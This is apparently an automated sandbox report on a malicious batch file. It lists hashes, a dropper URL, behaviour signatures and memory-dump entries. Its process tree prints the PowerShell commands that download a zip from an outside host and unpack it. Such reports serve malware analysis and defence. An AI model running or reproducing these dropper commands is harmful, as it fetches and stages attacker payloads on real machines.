3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
117s
max time network
123s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 23:24

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General

Target

tesy - Copy (9).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2216	powershell.exe
4	2216	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2216	powershell.exe
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 2216	1928	cmd.exe	17
PID 1928 wrote to memory of 2216	1928	cmd.exe	17
PID 1928 wrote to memory of 2216	1928	cmd.exe	17
PID 1928 wrote to memory of 2580	1928	cmd.exe	32
PID 1928 wrote to memory of 2580	1928	cmd.exe	32
PID 1928 wrote to memory of 2580	1928	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
798d5189c84a1a10361f75dd41d6d7e7

SHA1
533f940b6952f0db6881b2826449655188b32bb6

SHA256
4985f63c620a92e8b1093a64f5841161977eedde23ab1f0c764590b3b776921f

SHA512
8d2b8d58b6cae6e9215221bbd4ea0dce355ae30ef2559d3257218d047af57281431cf1db4e8c2a44c51eb3cc31c669d16e05004ff9b53158a18ce789570061f9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XGYCWWDSR2Y5CDLOWQSN.temp

Filesize
7KB

MD5
798d5189c84a1a10361f75dd41d6d7e7

SHA1
533f940b6952f0db6881b2826449655188b32bb6

SHA256
4985f63c620a92e8b1093a64f5841161977eedde23ab1f0c764590b3b776921f

SHA512
8d2b8d58b6cae6e9215221bbd4ea0dce355ae30ef2559d3257218d047af57281431cf1db4e8c2a44c51eb3cc31c669d16e05004ff9b53158a18ce789570061f9

Download Submit
memory/2216-15-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2216-6-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2216-8-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2216-9-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2216-10-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2216-11-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2216-13-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2216-12-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2216-4-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2216-7-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2216-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2580-22-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download
memory/2580-23-0x0000000002660000-0x0000000002668000-memory.dmp

Filesize
32KB

Download
memory/2580-21-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2580-24-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download
memory/2580-25-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2580-26-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2580-27-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2580-28-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2580-29-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download